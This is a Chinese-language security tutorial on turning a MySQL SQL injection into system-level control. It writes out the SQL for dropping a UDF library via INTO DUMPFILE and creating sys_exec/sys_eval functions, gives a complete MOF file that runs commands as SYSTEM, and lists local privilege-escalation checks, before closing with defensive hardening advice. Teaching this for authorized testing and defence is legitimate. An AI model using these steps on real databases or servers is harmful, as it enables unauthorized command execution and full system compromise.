MySQL注入提权实战:从数据库漏洞到系统权限的完整攻防解析 1. 从注入到提权一次完整的权限跃迁实战搞安全测试或者渗透的朋友对SQL注入肯定不陌生。我们经常能通过一个注入点拿到数据库里的数据比如管理员账号密码、用户手机号这就算告一段落了。但很多时候目标远不止于此。如果这个数据库是MySQL并且我们获取到的数据库连接权限足够高比如root那么故事才刚刚开始——“注入提权”才是真正把数据库漏洞价值最大化的关键一步。简单来说注入是拿到了“数据库”这间屋子的钥匙而提权则是利用这把钥匙想办法拿到整个“服务器”这座大厦的管理员权限。今天要聊的就是基于MySQL如何从一次成功的SQL注入出发完成向系统权限的华丽转身。这不仅仅是CTF比赛里的炫技在真实的授权安全评估中理解这个链条能帮你更深刻地评估漏洞的实际危害。2. 提权路径总览为什么是UDF和MOF当我们通过SQL注入获得了MySQL数据库的高权限连接通常指具有FILE_PRIV权限能读写服务器文件后摆在我们面前的主要有几种经典的提权思路。理解这些路径的原理和适用场景比死记命令更重要。2.1 核心思路利用MySQL的功能执行系统命令MySQL本身是一个数据库服务它默认没有直接执行操作系统命令的功能。因此所有提权方法的本质都是“借道”MySQL让它以自身进程的权限通常是mysql或mysqld用户去执行我们想要的系统命令。一旦命令被执行我们就相当于控制了MySQL服务账户接下来就是围绕这个账户进行本地提权最终获取root或Administrator权限。主要的传统方法有UDFUser Defined Function提权这是最强大、最灵活的方式。UDF允许用户编写自定义函数并加载到MySQL中。我们可以创建一个包含执行系统命令功能的UDF动态链接库.dll或.so将其上传到服务器并通过MySQL加载它。之后就能像调用普通SQL函数一样调用我们的恶意函数来执行命令。成功率很高但依赖目标系统架构和MySQL版本。MOFManaged Object Format提权这是一个在Windows系统上特有的方法利用了WMIWindows Management Instrumentation的一个特性。MySQL的FILE_PRIV权限允许我们向特定目录如C:/Windows/system32/wbem/mof/写入一个.mof文件。该目录下的.mof文件会被系统定时编译执行。我们可以写入一个包含执行命令的VBScript的.mof文件从而实现命令执行。这个方法在旧版本Windows如Win2003、XP上几乎百发百中但在新系统上由于权限收紧成功率已大大降低。启动项提权利用FILE_PRIV权限向系统的启动目录写入脚本如Windows的启动文件夹Linux的cron计划任务。当系统重启或特定用户登录时脚本会自动执行。这个方法不够直接依赖重启但在某些特定环境下是可行的备用方案。2.2 环境侦察提权前的必备检查清单在动手之前盲目操作是大忌。你需要像侦探一样收集尽可能多的信息来判断哪种方法可行。首先确认数据库权限。通过SQL注入点执行以下查询SELECT user(); -- 当前连接用户 SELECT super_priv FROM mysql.user WHERE user user(); -- 是否具有SUPER权限 SELECT file_priv FROM mysql.user WHERE user user(); -- 是否具有FILE权限FILE权限是读写服务器文件的基础没有它UDF和MOF都无从谈起。SUPER权限在某些操作中也有用。其次侦察服务器环境。SELECT version; -- MySQL版本 SELECT version_compile_os; -- 操作系统类型 SELECT plugin_dir; -- MySQL插件目录的路径至关重要plugin_dir的值就是MySQL寻找UDF动态库的目录。你需要确认我们能否通过注入写入文件到这个目录以及这个目录的路径是什么例如Windows可能是C:\Program Files\MySQL\MySQL Server 5.7\lib\plugin\Linux可能是/usr/lib/mysql/plugin/。最后检查关键目录的写入权限。虽然知道了插件目录但还需要确认MySQL进程是否有权在该目录创建文件。可以通过尝试写入一个无害文件来测试SELECT test INTO OUTFILE C:/Windows/system32/test.txt; -- Windows示例 SELECT test INTO OUTFILE /tmp/test.txt; -- Linux示例如果成功说明具有写权限。对于UDF提权你需要确保能写入plugin_dir对于MOF提权则需要能写入C:/Windows/system32/wbem/mof/Windows。注意在实际渗透中INTO OUTFILE可能会因为secure_file_priv系统变量的限制而失败。该变量定义了允许导出文件的目录。你可以通过SHOW VARIABLES LIKE secure_file_priv;来查看。如果值为NULL则禁止导出如果为具体路径则只能导出到该路径。这是UDF提权的一个常见障碍。3. UDF提权详解手工打造你的“特权函数”UDF提权是MySQL提权的“瑞士军刀”一旦成功你将获得一个稳定的、可通过SQL调用的命令执行后门。整个过程可以分为制作/获取动态库、上传库文件、创建函数、执行命令。3.1 动态库的准备与上传UDF的本质是一个符合MySQL规范的C语言动态链接库。网络上流传着很多现成的库比如经典的lib_mysqludf_sys.dllWindows或lib_mysqludf_sys.soLinux。但直接使用他人编译的库风险极高可能被植入后门。在安全测试中建议在可控环境自行编译。对于Windows系统你需要一个dll文件。可以使用Metasploit框架中的sqlmap自带的UDF库或者从可信源码编译。假设我们有一个名为udf.dll的库它导出了一个名为sys_exec的函数用于执行命令并返回退出码和sys_eval函数用于执行命令并返回输出。上传的关键在于利用MySQL的SELECT ... INTO DUMPFILE语句。DUMPFILE会原样写入二进制数据而OUTFILE会在行尾添加换行可能破坏dll文件。-- 将本地dll文件的16进制形式通过注入点写入插件目录 -- 首先在你的攻击机上将udf.dll转换为16进制字符串。可以用Python或xxd命令。 -- 例如用Python: with open(udf.dll, rb) as f: print(f.read().hex()) -- 假设得到的16进制字符串很长我们将其分段处理。这里仅为示例实际需要完整的hex。 -- 创建一个临时表来存储二进制数据 CREATE TABLE temp_udf (data LONGBLOB); -- 将16进制数据插入表中。注意数据很长需要拼接。 -- 假设你的hex是 4D5A9000...使用UNHEX函数转换 INSERT INTO temp_udf (data) VALUES (UNHEX(4D5A9000...完整的hex字符串)); -- 将数据从表中写入插件目录的文件 SELECT data FROM temp_udf INTO DUMPFILE C:/Program Files/MySQL/MySQL Server 5.7/lib/plugin/udf.dll; -- 清理临时表 DROP TABLE temp_udf;这个过程对注入点的稳定性要求较高长字符串的传输可能出错。在实际中工具如sqlmap自动化了这个过程。对于Linux系统原理相同只是库文件是.so路径是类似/usr/lib/mysql/plugin/。你需要对应架构x86/x64的so文件。3.2 创建函数与命令执行库文件上传成功后就可以在MySQL中创建自定义函数来链接这个库。-- 创建 sys_exec 函数链接到我们上传的库中的对应函数 CREATE FUNCTION sys_exec RETURNS INTEGER SONAME udf.dll; -- Windows -- 对于Linux: CREATE FUNCTION sys_exec RETURNS INTEGER SONAME udf.so;如果提示“ERROR 1126 (HY000): Can‘t open shared library‘...”通常意味着库文件没找到路径不对、架构不匹配32位/64位或者库文件损坏。创建成功后这个函数就可以像内置函数一样使用了-- 调用 sys_exec 执行命令返回命令的退出码 SELECT sys_exec(whoami); -- 如果库提供了 sys_eval 函数它会更实用因为它返回命令的输出 CREATE FUNCTION sys_eval RETURNS STRING SONAME udf.dll; SELECT sys_eval(whoami);当看到SELECT sys_eval(whoami);返回了mysql或mysqld时恭喜你你已经以数据库服务用户的身份在执行系统命令了。3.3 实操心得与避坑指南插件目录权限是最大拦路虎现代操作系统和MySQL的默认安装越来越安全。plugin_dir目录通常只允许root或Administrator以及mysql用户本身写入。即使你有FILE权限MySQL进程也可能因为目录的访问控制列表ACL而无法写入。这是UDF提权失败最常见的原因。secure_file_priv的绕过如果secure_file_priv被设置为一个特定目录如/var/lib/mysql-files/你无法直接写入插件目录。可以尝试查看该目录是否可通过符号链接symlink指向插件目录通常不行权限不足。寻找Web目录等MySQL有写权限的地方上传库文件然后尝试通过mv或copy命令通过已创建的UDF函数执行将文件移动到插件目录。这需要mysql用户对目标目录有移动文件的权限。架构兼容性问题务必使用与目标MySQL和操作系统匹配的UDF库。64位的MySQL需要64位的库。用file命令检查一下你准备的库文件。杀毒软件在Windows环境下上传的恶意dll文件很可能被防病毒软件实时检测并删除。需要做免杀处理或者寻找已白名单的、合法的dll进行劫持难度较高。4. MOF提权详解利用Windows管理规范的“老派”方法MOF提权是Windows系统上一个非常经典的漏洞利用方式严格来说它利用的是WMI的漏洞而非MySQL的漏洞。MySQL在这里只是作为一个文件写入的工具。4.1 MOF文件的工作原理在Windows系统中C:/Windows/system32/wbem/mof/目录下的.mof文件会被WMIProvhost.exe进程定期约每5-10秒编译执行。这个功能本意是让管理员方便地部署WMI类。如果我们能在这个目录下写入一个包含恶意VBScript代码的.mof文件该代码就会以SYSTEM权限执行。4.2 利用MySQL写入MOF文件前提同样是MySQL连接具有FILE权限并且能写入上述系统目录。由于该目录权限通常很严格在Windows Vista及之后的系统上mysql用户账户基本没有写入权限因此该方法主要适用于Windows Server 2003等老旧系统。MOF文件内容示例nullevt.mof#pragma namespace(\\\\.\\root\\subscription) instance of __EventFilter as $EventFilter { EventNamespace Root\\Cimv2; Name filtP2; Query Select * From __InstanceModificationEvent Where TargetInstance Isa \Win32_LocalTime\ And TargetInstance.Second 5; QueryLanguage WQL; }; instance of ActiveScriptEventConsumer as $Consumer { Name consPCSV2; ScriptingEngine VBScript; ScriptText Set objShell CreateObject(\WScript.Shell\)\n objShell.Run \cmd.exe /c whoami C:\\windows\\temp\\test.txt\\n; }; instance of __FilterToConsumerBinding { Consumer $Consumer; Filter $EventFilter; };这个文件创建了一个WMI事件过滤器当系统时间秒数为5时即每分钟左右触发一次触发一个ActiveScript事件消费者执行一段VBScript这里运行了whoami命令并将结果输出到文件。通过MySQL注入写入SELECT unhex(...MOF文件的16进制内容...) INTO DUMPFILE C:/Windows/system32/wbem/mof/nullevt.mof;写入后等待最多一分钟检查C:\windows\temp\test.txt文件是否生成。如果生成且内容是nt authority\system则提权成功。4.3 MOF提权的局限性权限问题如前所述现代Windows系统如Win7, Win10, Server 2008对system32目录的写入权限管控极严非SYSTEM或TrustedInstaller账户几乎无法写入。这使得该方法在当今环境下基本失效。临时性MOF提权产生的进程是临时的命令执行完就结束。虽然可以通过写入启动项、创建服务等方式将权限持久化但初始的写入点已经很难获得。日志记录WMI操作会在系统日志中留下记录容易被发现。5. 本地信息收集与权限提升无论通过UDF还是MOF当你获得了一个mysql用户权限的命令执行shell后你得到的通常是一个低权限的系统账户。接下来的目标是将其提升为root或Administrator。这就是常规的本地提权环节与MySQL关系不大了但却是完整攻击链的一部分。5.1 Linux系统信息收集与提权在Linux的mysql用户shell下系统信息uname -a,cat /etc/issue,cat /etc/*-release内核版本内核漏洞是提权的重要途径。cat /proc/version用户和权限id,whoami,sudo -l如果mysql用户有sudo权限且不需要密码那简直是“意外之喜”。进程与服务ps aux,netstat -tulnp寻找以root运行的服务或进程。SUID/GUID文件find / -perm -us -type f 2/dev/null查找设置了SUID位的文件如find,vim,bash,cp,mv等如果属于root可能被利用。计划任务crontab -l,ls -la /etc/cron*, 查看是否有全局计划任务其脚本是否可写。利用内核漏洞根据收集到的内核版本搜索对应的公开漏洞如DirtyCow, CVE-2021-4034等下载或编译对应的exp上传并执行。5.2 Windows系统信息收集与提权在Windows的mysql用户shell或通过UDF执行命令下系统信息systeminfo, 查看系统版本、补丁情况。用户信息whoami /priv, 查看当前用户权限。net user,net localgroup administrators查看用户和组。服务sc query,wmic service get name,displayname,pathname,startmode寻找以SYSTEM运行、且二进制文件路径pathname可写的服务。如果能替换服务对应的exe文件重启服务后就能以SYSTEM权限执行我们的代码。计划任务schtasks /query /fo LIST /v查看计划任务寻找以高权限运行且操作可写的任务。AlwaysInstallElevated检查注册表项HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated和HKLM\...是否设置为1。如果是则任何MSI安装包都会以高权限运行。利用未打补丁的漏洞使用systeminfo的输出与已知的提权漏洞列表如Juicy Potato, PrintNightmare, CVE-2021-1675等进行比对寻找可用的本地提权EXP。6. 防御视角如何让你的MySQL“固若金汤”站在防御者角度了解攻击手法才能有效布防。最小权限原则为Web应用连接数据库分配绝对最小权限的账户。永远不要使用root或具有FILE、SUPER、PROCESS等敏感权限的账户作为应用连接账户。只授予其特定库、特定表的SELECT、INSERT、UPDATE、DELETE权限。杜绝SQL注入这是所有问题的源头。使用参数化查询Prepared Statements或ORM框架严格过滤和校验所有用户输入。配置secure_file_priv在MySQL配置文件my.cnf或my.ini中设置secure_file_priv为一个非空、特定的目录如/var/lib/mysql-files/并确保该目录权限严格禁止MySQL访问其他目录。最佳实践是将其设置为NULL彻底禁用LOAD DATA INFILE和SELECT ... INTO OUTFILE语句。严格控制plugin_dir权限确保MySQL的插件目录只对mysql用户和root用户可写其他用户无任何权限。并定期检查该目录下是否有来历不明的.dll或.so文件。运行于非特权账户确保MySQL服务进程以独立的、低权限的系统用户如mysql运行而不是root。这可以限制即使被攻破攻击者获得的初始权限也较低。网络隔离将MySQL数据库部署在内网禁止公网直接访问。通过防火墙策略只允许特定的应用服务器IP访问数据库的3306端口。定期更新与审计及时为MySQL和操作系统打上安全补丁。启用MySQL的通用查询日志或审计插件定期审查异常查询特别是涉及INTO DUMPFILE、CREATE FUNCTION、访问mysql.user表等敏感操作的日志。文件系统权限加固在Windows上严格限制对C:\Windows\system32\wbem\mof\等敏感目录的写入权限。在Linux上使用适当的文件系统访问控制。7. 总结与反思技术之外的思考从一次简单的SQL注入到最终可能拿到服务器最高权限这个链条清晰地展示了安全风险的传导性。它告诉我们一个看似“仅泄露数据”的中危漏洞在特定条件下完全可能演变成导致全线失守的高危甚至严重漏洞。在渗透测试中掌握UDF这类提权技术是专业能力的体现。但在实际工作中尤其是在甲方安全建设或蓝队防御中我们的重心更应该放在切断这个链条的起始环节——即通过安全开发、严格配置和权限最小化让攻击者即使发现了注入点也无法获得FILE权限或者获得权限后也寸步难行。安全是一个体系任何一个环节的短板都可能被利用。理解攻击者的全套手法不是为了滥用而是为了能更有针对性地构建起真正有效的防御纵深。每一次成功的防御都是对攻击链最深刻的理解。